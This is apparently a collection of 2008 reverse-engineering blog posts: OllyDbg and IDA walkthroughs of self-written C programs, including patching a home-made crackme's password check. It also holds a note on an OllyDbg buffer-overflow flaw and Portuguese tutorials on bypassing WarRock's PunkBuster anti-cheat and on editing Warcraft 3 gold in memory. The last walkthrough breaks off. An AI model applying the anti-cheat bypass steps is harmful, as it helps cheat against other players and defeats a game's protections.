C:\stuff\C>hello4 Enter Username: ZZZZZZZZ Enter Password: AAAAAAAA invalid username/password combination C:\stuff\C>

What we are trying to do for in the first instance here is identify parts of the program code that we can look for in order to know where the starting point of the protection may be.

So we open up in olly. You’ll notice that although this is still a fairly simple program, there is a bit more complexity. Olly has done its best to analyse the code and place brackets arround significant blocks but it doesn’t appear clear where any of the messages above come from. Most crackme’s would also have a GUI which adds even more complexity to the dissassembly, so the easiest way to find your place in a program like this is to search for text strings.

Right click in the main program window -> search for -> all referenced text strings

You’ll see a short list of hard-coded strings that appear in the program:

Seeing our first goal is to bypass the username/password code and get straight to whatever is behind it, we are most interested in what happens after we enter our username and password. we notice that there are two lines that display our error message. We can infer from this that there are multiple separate validations occuring that may trigger the error. We do not know which validation check we have triggered. There are a number of ways forward from here: We can ignore the fact that we don’t know which check we have triggered and just see what the last one does and try to bypass that or we can trace through from the start of the program to see what happens immediately after the it requests our username/password, but for the moment there is a glaringly obvious place to start: The line that says “Hello World!Thank you for logging in %s”. This is what we want to achieve so lets start there and work backwards – Double click on that line in the strings window and olly will take you to the portion of code referencing that string.

00401465 |. 83F8 00 CMP EAX,0 00401468 |. 75 16 JNZ SHORT hello4.00401480 0040146A |. 8DBD 66FFFFFF LEA EDI,DWORD PTR SS:[EBP-9A] 00401470 |. 57 PUSH EDI ; /<%s> 00401471 |. 68 AAB04000 PUSH hello4.0040B0AA ; |format = "Hello World!Thank you for logging in %s" 00401476 |. E8 A2760000 CALL hello4._printf ; \_printf 0040147B |. 83C4 08 ADD ESP,8 0040147E |. EB 0D JMP SHORT hello4.0040148D 00401480 |> 68 D3B04000 PUSH hello4.0040B0D3 ; /format = "invalid username/password combination" 00401485 |. E8 93760000 CALL hello4._printf ; \_printf 0040148A |. 83C4 04 ADD ESP,4 0040148D |> B8 00000000 MOV EAX,0

Now we should recognise this construct immediately:
CMP command (or any command that sets the appropriate flags) Conditional Jump (to start of code block 2) Code block 1 Unconditional Jump(to line after end of code block 2) Code block 2

This is an if-test type construct as we have previously seen.

We assume that the program will take our username, generate a correct password from it and compare that one with the one that we entered. The first place to look for this is immediately prior to the successfull login and failure messages. In this instance, we can very clearly see that there is a call to strcmp, just prior to the compare command that triggers the conditional jump that we neutralised previously:

We can see that it loads data from storage on the stack (in variables) and pushes them back onto the top of the stack prior to calling the strcmp function. We can therefore assume that these two strings are going to be our password and the password generated by the program. The easiest way to check is to set a breakpoint (F2) on line 0040145D and see what the situation is.

run the program (F9) after setting the breakpoint and we can see that the top two lines of the stack are as per below:

0012FEBC 0012FF08 |s1 = "MHBJEMNQ" 0012FEC0 0012FF3A \s2 = "AAAAAAAA"

So let’s give it a try:

C:\stuff\C>hello4 Enter Username: ZZZZZZZZ Enter Password: MHBJEMNQ Hello World! Thank you for logging in ZZZZZZZZ C:\stuff\C>
… and we see the magic words.

Now at this point it is also trivial to bypass the above if-test entirely. Ollydbg allows us to make changes to this code and save our changes into another executable. We basically want to remove this if-test, allowing us to get to the Hello World message regardless of what we put in the username and password fields. to do this, we can do any number of things to stop the code from jumping. The simplest way to do this is fill the command with NOPs or Null Operations.

Click on the JNZ line (00401468) and right click -> binary -> fill with NOPs

you should now see this:

00401465 |. 83F8 00 CMP EAX,0 00401468 90 NOP 00401469 90 NOP 0040146A |. 8DBD 66FFFFFF LEA EDI,DWORD PTR SS:[EBP-9A]

Now there is one more thing that we should take care of before writing this to another binary file. if you scroll up, you’ll see the other “invalid username/password combination” string. Because we don’t know which one we encountered when we ran through the program, we should take this out as well. The assembly surrounding it is as follows:

This looks similar to our standard if-then-else test, except this time the second conditional jump goes a very long way away. if we follow it down, we’ll see that line 00401492 finalises the program and returns to the calling block. What this looks like is an if-test without an else. so in pseudo code we can assume that the programmer has written something like:

if EDI <> 0 then print invalid message exit program end if;

in any case, because all we want to do in this case is bypass the invalid message and cause the program not to exit, we simply need to turn that conditional JE into an unconditional JMP. once again – right click -> assemble.

change the text to

JMP SHORT 00401442

and assemble.

and it should now look like this

0040142C EB 14 JMP SHORT hello4.00401442

We are now ready to save our changes into a separate executable.

Right-click in the dissassembly window -> copy to executable -> all modifications -> “copy all”.
this will bring up another window with our modified dissassembly. Right click -> Save file. change the name to something else. in this case I’m calling it Hello4patched.exe

Now lets run it and see how it works:

C:\stuff\C>hello4patched.exe Enter Username: AAAAAAAA Enter Password: ZZZZZZZZ Hello World! Thank you for logging in AAAAAAAA

C:\stuff\C>hello4patched.exe Enter Username: asdf Enter Password: asdf Hello World! Thank you for logging in asdf C:\stuff\C>

Well, hey! there we go – now that was easy wasn’t it. With a bare minimum of understanding of the program’s workings we managed to bypass the two sections of security – and heck we didn’t even figure out what either of them actually did.

Now on a very serious note: What I just demonstrated was absolute rubbish:

We didn’t learn anything whatsoever about the program
We still havn’t figured out what algorithm is used to generate the passwords
There is only a miniscule chance that any actual commercial product will allow us to simply bypass an if-test or two in order to get to the main program.
We didn’t actually achieve anything usefull whatsoever in relation to learning how to reverse, with the exception of learning how to patch executables using ollydbg.

The goal here is to be able to understand common constructs and to be able to find what we’re looking for in the dissassembly as fast as possible.

There are quite a few things we need to analyse and find out:

What is that first lot of validation that seems to happen before comparing the strings?
what do the few lines of code before the enter username line do?
What algorithm is used to determine the password?
can we possibly duplicate this algorithm in a program of our own?

We’ll deal with these in the Next blog where we go onto deconstructing loops and looking at Level 2 of the goals mentioned at the start of this blog.

until then.

Nick.

I have to say that I really had to force myself to work through the above so that I could understand it enough to write it down and explain it all to someone else. The reason being is that IDAPro is seriously better at giving the reverser a good overview of a program flow.

as I was going through the above, I sometimes referenced IDAPro, but I made myself understand what was going on in Olly just to excersise my brain. after all, I’m not here to crack my own hello world program, I’m here to learn stuff.

Something New! A CrackMe Game.

noz3001 — Wed, 01 Oct 2008 20:45:02 +0000

I’ve created a new CrackMe specifically designed to be cracked using Cheat Engine. It might help you learn how to use it if you are new but if you are not new, it will most probably piss you off.

The aim of the game

To complete the game you need to set the on-screen value to 5000 and press enter. As soon as you do this you will recieve confirmation of your success and you have beat the game and me =D.

The Rules

Theres obviously rules, like in any other game, but they can be bent a bit. Firstly, using a debugger like OllyDbg isn’t really reccomended and i’ve used measures to really piss you off if you try. IDA is fine though.
Also, patching in ollydbg and saving the modification to the file is against the rules. Cheat Engine is really reccomended as you should “freeze” the number at 5000 when you find it.
Anything else should be fine.

Download Links??!??!!

You can get the current version: Here
And the thread for this (with posts containing “solutions”): Here
Cheat Engine 5.4: Here

Have fun & Good luck ;D

Binary Analysis Basics Part II

nickfnord — Wed, 01 Oct 2008 17:59:26 +0000

In the previous blog, we broke down a couple of simple C programs that we compiled and dissassembled, analysing how such constructs as if-then-else and basic comparisons look when dissassembled. In this one we do the same thing with another fundamental construct: Arrays.

You will need:

A C compiler for windows (I’m using LCC: http://www.cs.virginia.edu/~lcc-win32/)
Ollydbg (http://www.ollydbg.de/)
IDA demo or free (http://www.datarescue.be/downloaddemo.htm)
A good text editor, or you can use the IDE which comes with LCC.
Knowledge of basic programming structure (you don’t have to know C as I’ll explain the relevant bits).
Basic knowledge of assembly language (just have a read through PCASM first and keep it as a reference).
some familiarity with OllyDbg
knowledge of Hex

The following C code adds a few more complexities that are essential to understand when reversing.

#include <stdio.h> #include <string.h> int main(void) { char name[20]; char rname[] = "NickFnord";


printf("Enter Name:\n");

scanf("%s",name);
printf("\nThe Array of characters that you entered was: %s\n",name);

printf("Name array starts at: %d\n",name);

printf("first char of array has ascii value of: %d\n",name[0]);
if (strcmp(name, rname) == 0)

{

printf("Hello World\n");

}

else

{

printf("No Greeting for you\n");

}

return 0; }
The first important thing to understand if you’re new to programming or have only worked in higher level languages, is that strings, such as the two declared above, are actually stored as an array of characters. The second thing to note is that we cannot do a direct comparison of the entire string. because it is effectively not an actual string now, but an array of characters, we must either compare each character individually, or call a function which does the same. So we have included the string.h library in order to have access to the strcmp function. Also note that when you are running this program, the scanf function will only read the first word you type, i.e. it will stop reading your input when it finds a white space. we could use the “gets” function in order to capture multiple words but we’ll look at that next time.

First, before opening Olly, run the program to see what it outputs.

c:\stuff\C>hello3 Enter Name: NickFnord

The Array of characters that you entered was NickFnord
Name array starts at: 1245020
first char of array has ascii value of: 78
Hello World
c:\stuff\C>hello3

So let’s take a look under the hood.

At line 004012DC we can see that the stack address of EBP-1E is moved into EDI. Your mileage may vary, but for me, EBP is 0012FF70 and so EDI will be 0012FF52 after that command has been run. This is half-way between two entries on the stack displayed by Olly and as we will find out later, this will store the variable declared at the beginning of the program, containing “NickFnord”.

You’ll notice that at the second LEA on line 004012DF, the program has taken the memory address referring to the constant “NickFnord” and placed it in the register. You can follow it in the dump to see it allong with other constants that have been stored in the program’s data segment. The command “MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]” transfers the byte referred to by the address stored at ESI into the address stored at EDI but the REP command in front causes this command to be repeated, using the register ECX as a counter and incrementing EDI and ESI each time around. As the ECX register was set to 0A (or 10 in decimal) in the previous command, we know that it will repeat the MOVS command 10 times moving allong the dump one byte each time and therefore take 10 bytes starting from the memory address stored in ESI (0040B0A0) and place them in turn in the stack, which will now look something like this:

0012FF50 694E1EE0 àNi 0012FF54 6E466B63 ckFn 0012FF58 0064726F ord. 0012FF5C 0012FF70 pÿ. 0012FF60 0012FF6C lÿ. 0012FF64 7C910208 ‘| ntdll.7C910208

The next bit is nothing too complicated:

This prints out the string stored at 0040B148 and then uses the LEA command to prepare the way for the user’s input. We’ll notice that the address refered to by EBP-14 is 0012FF5C, which is immediately after the space that was used to store the variable containing NickFnord. This is where our input string will be stored. As this is now contained in the EDI register, we can guess that the scanf function below will send its output into the EDI register.

When running through this time, I have put “ZZZZZZZZZZ” into the input value to make it a bit easier to distinguish between this value and the constant NickFnord declared earlier. After this section of code, our stack should look like this:

0012FF50 694E1EE0 àNi 0012FF54 6E466B63 ckFn 0012FF58 0064726F ord. 0012FF5C 5A5A5A5A ZZZZ 0012FF60 5A5A5A5A ZZZZ 0012FF64 7C005A5A ZZ.|

So the Scanf function will take the input value and insert it into the allocated memory space and append a null terminator. You can see that the constant “NickFnord” is also appended by a null character. This fact becomes significant later on when we look at buffer overflows. What happens if we put in more than the allocated 20 characters? What happens if we overwrite the return address stored in 0012FF74 and cause it to point elsewhere? Our program should really validate the length of the user input information prior to copying it into memory. More on that another time though.

Next bit then:

You’ll notice that in this section, the LEA commands again references the start of the user entered array. This is redundant as this address has already been loaded into EDI. however you’ll notice the MOVSX command is also referencing the same location in memory, just that this time it is referencing the data rather than loading the effective address and so we know from the above section in the stack that it will return to the user the value 5A or 90 in decimal which is the ASCII value for “Z”.

This section prepares the data “NickFnord” and the data that we entered by loading the addresses of them into EDI and the pushing them one after another onto the stack. You’ll notice something very handy about Olly in that it performs some of the calculations for you in the bit under the program window so when EIP is pointing at 0040133E for example (i.e. about to execute this line) you will notice that Olly tells you the stack address being referred to by EBP-1E, and the null-terminated array stored at that address as well as the current value of EDI:

Stack address=0012FF52, (ASCII "NickFnord") EDI=0000005A

This makes debugging a whole lot quicker as you don’t have to manually calculate addresses if you want to know what part of the stack to watch.

at the second LEA command your window should display:
Stack address=0012FF5C, (ASCII "ZZZZZZZZZZZZZZZZZZZZ") EDI=0012FF52, (ASCII "NickFnord")

Showing that it is now loading the string that we entered.

The call to strcmp compares the two arrays of characters and if we step to the next command we see that it has placed a “1″ into the EAX register rather than just changing the zero flag. as a result we merely need to compare the EAX register to a hardcoded 0 in order to set the appropriate flag for jumping. Once again, in these types of comparisons, 0 = no difference and 1 = difference. so when a 1 is returned from the strcmp function we know that the strings are different. and since 1<>0 the zero flag is not set and the program execution jumps. Run the program through again and insert the correct string to prove it for yourself and to see it in action.

The remainder of the program is fairly straightforward – as in the previous excersise we see an if-test in action.

Once again, it may be instructive to open the program in IDA to see how it displays it. I’d recommend running through the progam a couple of times in IDA also to become familiar with it in addition to Olly as they each have their advantages.

Now at this point I was going to compile this C program using another tool and see if there were any differences in the resultant binary, but after downloading Microsoft visual C++, removing its firefox plugin that I didn’t ask for, spending 20 mins hunting around for the damn compile button before realising that I needed to “create a solution” before compiling and then not being able to compile it because it doesn’t recognise the strcmp function I gave it up. perhaps I’ll do that another time…..

Once again, I hope this has been educational. Feel free to leave comments!

Nick.

Binary Analysis Basics

nickfnord — Tue, 30 Sep 2008 20:58:48 +0000

One thing I have found over the couple of times where I have dabbled in reversing, is a common learning strategy for newbies is to get straight into trying crackmes without having a basic understanding of what the hell they’re doing. Guided by poorly written “tuts” or tutorials, often sprinkled liberally with shocking spelling, the tendancy is to try to glean information from seeing it done. From a random sampling of tutorials found on www.crackmes.de and other places I have found a very large portion of them do not fully explain what is going on and why the reverser chose to put the breakpoint where he/she did. For example, things like: “I put a brake pnt ther becoz my spidy sense told me to lol, u will haf to figar out why 4 urself” happens supprisingly often. Alternatively the tutorial writer doesn’t write a tutorial, merely posts the answer without any guidance on how to arrive at it. This is fine if you have some experience, but for a newbie it can certainly be frustrating, resulting the newbie being able to at best go through the motions layed out in the tutorial but without understanding what is being done. Don’t get me wrong, there are some exelent tutorials out there, written by people who care that people are reading and following allong, but they are few and far between.

So in order to avoid this, the strategy that I initially started with this time arround was to learn to program in assembly and then go from there. I had hoped that having a solid understanding of assembly language would assist in reversing. This has also caused me great frustration to my suprise. The thing is, code written by a human, regardless of the language is compiled by a computer into the most efficient form according to the type of compiler and the optimising options set and sometimes there may be a trade off between things like speed of execution, memory usage and size of the final executable. Certain mathematical operations, for example may be switched arround and handled in completely different ways than a human would logically expect, and comparisons and jumps changed accordingly or code interleaved in order to get more efficiency of execution.

The end result is that the code that the CPU executes may look entirely different from the code that the human wrote. And my conclusion therefore is that if your goal is to learn to reverse, teaching yourself to write programs with assembly language will only be usefull up to a certain point.

The ultimate goal of any reversing session is to understand the program flow enough that you could at least write pseudocode describing its functionality. This level of understanding may not be necessary in all cases depending on your reasons for reversing, but it should still be the goal that you aim for from the start. And so as you will never have the hand-written code to look at, it is more profitable to learn what certain higher level logic looks like after it has been compiled, linked and then dissassembled.

So what I am doing in this post and possibly subsequent posts is going through at a very basic level, the break down of simple instructions as viewed via a dissassembler.

You will need:
————–
A C compiler for windows (I’m using LCC: http://www.cs.virginia.edu/~lcc-win32/)
Ollydbg (http://www.ollydbg.de/)
IDA demo or free (http://www.datarescue.be/downloaddemo.htm)
A good text editor, or you can use the IDE which comes with LCC.
Knowledge of basic programming structure (you don’t have to know C as I’ll explain the relevant bits).
Basic knowledge of assembly language (just have a read through PCASM first and keep it as a reference).
some familiarity with OllyDbg
knowledge of Hex

First we’ll start with the standard Hello World program.

I’m using the command line rather than the gui of LCC because I find it more flexible to work with when just compiling small amounts of code like this.

Install LCC -> right click on “my computer” -> properties -> Advanced tab -> environment variables -> edit the “path” variable and put the directory that you have installed lcc into at the beginning of the line followed by a semicolon e.g. “C:\lcc\bin;”.
Create a file called “compile.bat” in the directory that you will be working in and put the following in it:

lcc -o %1.obj %1.c lcclnk -o %1.exe %1.obj

Type the following C program into your chosen text editor and save it as hello.c

#include <stdio.h> int main(void) { printf("Hello World\n"); return 0; }

now you can just type into the command line

compile hello
and it will create a file called hello.exe

This classic program obviously prints “Hello World” out to the screen. But in order for this seemingly simple task to be accomplished there is far more going under the hood, specifically printf is a function contained in the stdio library which will display information to the screen. in the completed binary, the entirety of the printf code will be integrated into the binary.

So lets open it up in ollydbg.

As you can see, there’s quite a bit more stuff in there apart from what we’ve written. Notice that you get placed at what Ollydbg thinks is the entry point for the program. The purpose of this example is not to go through this, but to determine what the compiler has done with our code.

Scroll down until you get to the following:

004012D4 /$ 68 A0A04000 PUSH hello.0040A0A0 ; /format = "Hello World" 004012D9 |. E8 DB5E0000 CALL hello._printf ; \_printf 004012DE |. 83C4 04 ADD ESP,4 004012E1 |. B8 00000000 MOV EAX,0 004012E6 \. C3 RETN

This section of the code pushes the data stored in 0040A0A0 onto the stack and then calls the function printf. You can see what is stored in 0040A0A0 by right clicking on the command in ollydbg and selecting “follow in dump -> Immediate Constant”. This information is set when the program is opened. you can See exactly what the _printf function does by stepping into it during runtime (set a break point at that line and hit f7 to step into the code).

Next we’ll add a bit more complexity and demonstrate a few more things at once:

#include <stdio.h> int main(void) { int num;


if (2==2)

{

printf("Hello World\n");

}

else

{

printf("No Greeting for you\n\n");

}
printf("enter a number\n");

scanf("%d",&num);

if (num==2)

{

printf("number = 2\n");

}

else

{

printf("number <> 2\n");

}
printf("The address of number is: %d and the value is %d",&num, num);

return 0; }
So lets compile this and open it up in olly.

Again we’ve been placed at the entry point to the program. Scroll down until you see the following:

004012D4 $ 55 PUSH EBP 004012D5 . 89E5 MOV EBP,ESP 004012D7 . 51 PUSH ECX 004012D8 . 57 PUSH EDI 004012D9 . 68 FFB04000 PUSH hello2.0040B0FF ; /format = "Hello World" 004012DE . E8 76760000 CALL hello2._printf ; \_printf 004012E3 . 83C4 04 ADD ESP,4 004012E6 . EB 0D JMP SHORT hello2.004012F5 004012E8 . 68 E9B04000 PUSH hello2.0040B0E9 ; /format = "No Greeting for you" 004012ED . E8 67760000 CALL hello2._printf ; \_printf 004012F2 . 83C4 04 ADD ESP,4
You can see here that the compiler has made a decision that our if test is not necessary and insted of performing a compare on 2=2, it opts to just always execute the call to prinf with “Hello World” and then puts a JMP command to always skip over the “No Greeting for you” section. This is a very small, trivial example of the kinds of unexpected things that you’ll find in dissassembled code. very likely no programmer would compare to constants like we have, but you can see that the program has been omptimised in a way that may not immediately make sense if we don’t have the source code handy.

004012F5 > 68 D9B04000 PUSH hello2.0040B0D9 ; /format = "enter a number" 004012FA . E8 5A760000 CALL hello2._printf ; \_printf 004012FF . 83C4 04 ADD ESP,4 00401302 . 8D7D FC LEA EDI,DWORD PTR SS:[EBP-4] 00401305 . 57 PUSH EDI 00401306 . 68 D6B04000 PUSH hello2.0040B0D6 ; /format = "%d" 0040130B . E8 70430000 CALL hello2._scanf ; \_scanf 00401310 . 83C4 08 ADD ESP,8 00401313 . 837D FC 02 CMP DWORD PTR SS:[EBP-4],2

This section takes a number entered by the user and compares it. It’s worth it at this point to set a breakpoint at 004012F5 and step through the program paying close attention to the registers and the stack.

The LEA command is taking the value stored in the address EBP-4 and the following push command is inserting the address value at the top of the stack.

You’ll notice the number you enter is placed in the stack at 0012FF70, yours may be different, but it will always be in the address referenced by the value of EBP-4 so in hex 0012FF70 – 4 = 0012FF6C.

The stack now looks like this

0012FF60 0040B0D6 Ö°@. ASCII "%d" 0012FF64 0012FF6C lÿ. 0012FF68 7C910208 ‘| ntdll.7C910208 0012FF6C 00000002 ... 0012FF70 /0012FFC0 Àÿ.

olly moves the view of the stack according to what is in the ESP register (which was just incremented by 8 in the previous code), you can scroll up and right-click -> lock stack in order to stop it from moving while debugging.

The memory address 0011FF64 now stores the value of the address that contains the number that we just entered. Something that is important to note at the moment is the difference between a reference to the data stored in a register and reference to the data stored at the memory address that the register holds. They are very different.

For example, having steped through the code to the CMP statement, we would have seen that the ADD ESP,8 command immediately added 8 to the value stored in the ESP register. The CMP command however is not referring to the data stored in EBP, nor is it refering to (the value of the data stored in EBP)-4, but it is referencing the data stored at the memory address in the stack that equals the value of (EBP minus 4). confusing?

If the data stored in EBP is “0012FF70″, then any refference to EBP without square brackets refers to the value 0012FF70.
if the data stored in the memory address 0012FF70 is “0012FFC0″, then a reference to [EBP] with the square brackets is referring to the value “0012FFC0″.
A reference to [EBP-4] first takes the number 4 away from the value stored in EBP, and then finds the value stored at the resultant memory address. in this case EBP contains the hex value “0012FF70″ and so EBP-4 = “0012FF6C”. if the data stored at the 0012FF6C stack address is “2″, then a reference to [EBP-4] = “2″.

I hope this is clear because it is a very important concept, and one that may not be clear to people who have only programmed in higher level languages (like myself I’m ashamed to admit). Once again, I recommend that you step through this in Ollydbg paying close attention to the registers and the stack.

Moving right allong then, the rest of the code is as follows:

00401317 . 75 0F JNZ SHORT hello2.00401328 00401319 . 68 CAB04000 PUSH hello2.0040B0CA ; /format = "number = 2" 0040131E . E8 36760000 CALL hello2._printf ; \_printf 00401323 . 83C4 04 ADD ESP,4 00401326 . EB 0D JMP SHORT hello2.00401335 00401328 > 68 BDB04000 PUSH hello2.0040B0BD ; /format = "number <> 2" 0040132D . E8 27760000 CALL hello2._printf ; \_printf 00401332 . 83C4 04 ADD ESP,4

Here you see the basics of an if-test at work. As we know, the previous command (CMP DWORD PTR SS:[EBP-4],2) effectively performed the operation [EBP-4]-2, and instead of storing the result, it sets the ZF and CF flags according to the outcome. All we care about for this one is if the difference is zero (ZF flag set to 1). If it is, the program will carry on with the next command, if it is not zero it will Jump (JNZ = Jump if not zero) by setting the next execution address (stored in the EIP register) to 00401328 and then continue on.

If we enter 2 into the program, the comparison will be zero and the program will proceed to tell us that the “number = 2″. after it has finished doing this, it will proceed to the next command after the end of the alternate branch (the LEA command), if it takes the “number <> 2″ path, then once it has finished, it just continues with the next command.

If you are following closely at this point, you will notice that there are some unnecessary redundancies in this code. there is a duplicated “ADD ESP, 4″, only one is ever executed due to the if-test so why not remove one and place the other at the end of the if-test? you’ll also notice at this point that the EDI register already contains the value stored in [EBP-4] and so this second LEA command is unnecessary. There are certain strange people in this world who actually care about this sort of thing and they actually have competitions in order to try to reduce the size of executables as much as possible by removing redundancies like this and being as efficient as possible…. for the moment, it’s just an interesting point to note: compilers are not absolutely perfect.

Next, we get to our final section of the code.

00401335 > FF75 FC PUSH DWORD PTR SS:[EBP-4] ; /<%d> 00401338 . 8D7D FC LEA EDI,DWORD PTR SS:[EBP-4] ; | 0040133B . 57 PUSH EDI ; |<%d> 0040133C . 68 A0B04000 PUSH hello2.0040B0A0 ; |format = "The address of number is: %d and the value is %d" 00401341 . E8 17760000 CALL hello2._printf ; \_printf 00401346 . 83C4 0C ADD ESP,0C 00401349 . B8 00000000 MOV EAX,0 0040134E . 5F POP EDI 0040134F . C9 LEAVE 00401350 . C3 RETN

I just added this section of the code to ram home the difference between data stored in registers and the value stored in the memory location stored by the registers.

The first line here is fairly simple – it gets the value that we entered and puts it at the top of the stack, preparing it for being displayed to the user. The second line gets the value of the memory address stored at EBP-4 and puts it into the EDI register. the following line pushes it onto the stack and we’re ready to go.

If you take it one step further, the stack looks like this:

0012FF5C 0040B0A0 |format = "The address of number is: %d and the value is %d" 0012FF60 0012FF6C |<%d> = 12FF6C (1245036.) 0012FF64 00000002 \<%d> = 2

You’ll notice that the numeral 2 was placed on the stack first followed by the memory address dispite the fact that the address is displayed first in the output string. You can step into the CALL hello2._printf command (by hitting f7 in olly) to see what happens with these values.

You’ll notice that the program, when it completes it’s execution, will output “The address of number is: 125036″ if you convert this to hex, you’ll get 12FF6C, which is the memory address where our entered number is stored.

So there’s only one more thing remaining here. We’ve seen what Olly does with the code, let’s have a quick peek at what IDA pro has to offer:

As you can see, IDA puts together a nice graphical program flow – it is very easy to see where in the code various jumps go to. you’ll also notice that it appears to use a different method of dissassembly, or at least it displays the dissassembled code in a different manner than olly does.

these two lines in olly:
00401335 > FF75 FC PUSH DWORD PTR SS:[EBP-4] ; /<%d> 00401338 . 8D7D FC LEA EDI,DWORD PTR SS:[EBP-4] ; |

are somewhat simplified in IDA as:

push [ebp+var_4] lea edi, [ebp+var_4]

with var_4 being declared at the start as a constant.

I hope this has been helpful – Please feel free to leave a comment, if I’ve made any mistakes in the above, please let me know – I’m always trying to learn more

Next time we’ll do the same thing again looking at array structures.

Cheers!
Nick.

OllyDbg v1.10 & ImpRec v1.7f Buffer overflow

KOrUPt — Wed, 09 Jul 2008 16:57:45 +0000

Ok I’m sure some of you have already heard of this, but I thought I’d post about it for those that haven’t, mainly as a heads-up .

From what I’ve read this is a simple buffer overflow that exploits OllyDbg’s assumption that a function export name can only be 256 characters in length, needless to say it didn’t take someone long to create an export with a name of around 1024 characters and potentially execute their shellcode once the DLL that contained the export name had been loaded inside OllyDbg…

PoC code has been written that is able to exploit this vulnerability and execute shellcode(See the link below).

PoC code(fasm): http://www.milw0rm.com/exploits/6031

A lot of us still use OllyDbg V1.10 so this could be used as an Anti-debugging trick, but if this is exploited with malicious intent we could be seeing some annoyances when it comes malware analysis. What are your views on this?

Again I look forward to reading your comments.

KOrUPt.

el tema de ingenieria inversa

apuromafo — Fri, 04 Jul 2008 20:45:59 +0000

un tema de nunca acabar el conocimiento nos hace libre, pero esa libertad siempre y cuando no afecte

Para os cheaters do WarRock...

ivopereira — Tue, 03 Jun 2008 18:37:16 +0000

Isto é para aqueles que jogam WarRock, e gostam de fazer um jogo em nível de desigualdade. Tenho de admitir que já pertenci a essa equipa, e hoje, por acaso quando navegava na net encontrei um tutorial de como fazer um simples bypass para cheats/hacks para o WarRock.
Aqui se segue o tutorial traduzido para português:

Ok vamos começar, as coisas que precisas são:
IDA Pro ou OLLYDBG (mas vamos usar o IDA PRO neste tutorial)
Cheat Engine 5.3
Faz download dos dois -> Here

Abre o Ida Pro (depois de instalado) e na janela inicial escolhe .dll, depois uma nova janela do IDA PRO abre,
vai à pasta do teu WarRock, depois system > pb > PBCL.DLL
Abre-o com o IDA PRO.

Depois vais ao separador “Names” e pressiona “search” e procura por isto:
readprocessmemory
Getversionexa
openprocess
closehandle
virtualprotect
*TEM A CERTEZA QUE APONTAS OS ENDEREÇOS DE MEMÓRIA (OS CÓDIGOS QUE TE APARECEM) NO BLOCO DE NOTAS POR EXEMPLO!!
Agora vai ao CheatEngine 5.3 (depois de instalado), minimiza o IDA PRO, abre o WarRock (MAS NÃO FAÇAS LOGIN!).
Agrupa o Cheat Engine ao WarRock.exe. Agora na “memory view” pressiona com o botão direito e depois > Go to adress.
Escreve pbcl.dll+UM DOS 5 endereços que procuras-te no IDA PRO. Seguidamente vai-te aparecer um endereço de memória.
Carrega com o botão direito do rato sobre ele, e a guarda a tua lista de endereços.
Faz isto com todos os teus endereços.
Agora se fizes-te tudo bem, quando carregares na parte das opções avançadas (canto inferior esquerdo), verás alguns códigos.
Carrega com o botão direito do rato neles > substitui com um código que não faça nada. PRONTO! Tens um Bypass que talvez apenas te possa dar kicks de 0min.

retirado de: http://www.freewebs.com/htmlfreak2/pbbypass.htm

DarkOlly

KOrUPt — Tue, 20 May 2008 14:51:35 +0000

I decided to make it public …

DarkOlly is a modified version of the original OllyDbg(made by myself). changes include modified caption and class name to beat FindWindow() anti-debugging tactics as well as modified visuals and a few tweaks, I’ve posted a screen shot below:

Screenie:

Please let me know of any improvements you think can be made .

The following package is basically my OllyDbg directory packaged into one archive, just drop the directory from the archive and get started… I’ve included some of the plugins I use most frequently with the package.

[removed]

Enjoy.

KOrUPt.

What edition of OllyDbg do you use?

KOrUPt — Sun, 18 May 2008 05:41:15 +0000

The title says it all.

What version/edition of OllyDbg do you use?

Currently I’m using the original version(V1.10) but modified(by myself) for better visuals and stealth amongst a few other things . I’ve branded it “DarkOlly”.

Screenie:

It isn’t currently public, so if you’d like a copy leave me a comment and I’ll consider sending you one .

I look forward to reading about what edition you use and why …

KOrUPt.

Added Screenshot …

Reversing Wacraft 3 Frozen Throne

scarvenger — Tue, 13 May 2008 03:41:14 +0000

Creio que muitos tenham visto o meu post sobre como descobrir endereços de memória alocados dinâmicamente, aqui vou mostrar um exemplo prático aplicado ao jogo Warcraft 3 onde alteraremos o valor do gold do player dentro da memória do Warcraft 3.

Conhecimentos Requeridos: Assembly, Debugging.

Debugger Utilizado: Windbg e Ollydbg.

Buscando a memória

Bom, começarei lançando o meu debuger, carregando o war3.exe e criando um jogo no custom game, peguei um mapa qualquer e o iniciei. Inicialmente estou com 500 de gold, o valor que a gente usará de base no debugging.

Agora que o jogo já está carregado disparei um breakpoint no debugger e usarei o comando de procurar pela memória que o Windbg fornece:

s b 0x00000000 L?0xffffffff f4 01

Que faz com que o valor 0xf4 0×01 (500 em decimal) seja procurado do endereço 0×00000000 (início da memória) até L?0xffffffff (fim da memória). É interessante lembrar que os bytes foram invertidos por causa do Endianess. Isso faz com que uma lista de endereços seja retornada sempre que o valor nele for o mesmo que a gente estiver procurando, o que nos retornou uma lista beeem grande. Para resolver isso gastamos um pouco o gold dentro do jogo e efetuamos a busca novamente com o novo valor do gold o que nos deixará com duas listas enormes. O endereço que for igual quando compararmos as duas listas provavelmente é o endereço do gold, para fazer isso criaremos um programa que realize esta comparação (quando eu tiver o meu site eu posto os meus fontes aqui).

Veremos que apesar de tudo nenhum endereço se igualou, o que nos diz que o gold é guardado de maneira diferente dentro da memória do jogo… droga, mais trabalho pra gente. Ainda nos resta procurar pelo valor ASCII do gold que é pintado na tela que pode nos dar uma dica de como achar o endereço do gold original. Peguemos o nosso Windbg e repetiremos o processo de criação de um jogo. Agora realizaremos uma busca (da mesma forma que fizemos anteriormente) pela memória com o valor de 35 30 30 que corresponde ao valor de 500 em ASCII:

s a 0x00000000 L?0xffffffff 35 30 30

Repetiremos o processo de gastar o gold e procurar pelo novo valor e comparar os resultados. Humm, dessa vez conseguimos dois endereços válidos, vamos analisá-los mais de perto setando um breakpoint em cada um deles quando o processador tentar escrever neles.

ba w4 0x[endereco]

Sendo [endereco] o endereço que o comparador retornou, faça isso em ambos endereços. Esse comando tem a seguinte sintaxe: ba [w/r][tamanho] [endereco]. Ele faz com que cada vez que o [endereco] com [tamanho] bytes seja [escrito/lido] um breakpoint seja disparado. Então agora cada vez que gastamos/ganhamos gold um breakpoint é disparado pela aplicação, agora está começando a ficar legal.

Reversing

Já que eu não gosto do disassembly do Windbg percebemos que a string que guarda o gold começa com “mo”, então vamos carregar o nosso Ollydbg com o processo war3.exe, criar um custom game e procurar por mo500 na memória, o que vai nos retornar os mesmos dois endereços anteriores, então vamos setar hardware breakpoints em ambos e gastar um pouco de gold, o que vai disparar um breakpoint e nos dar o seguinte código:

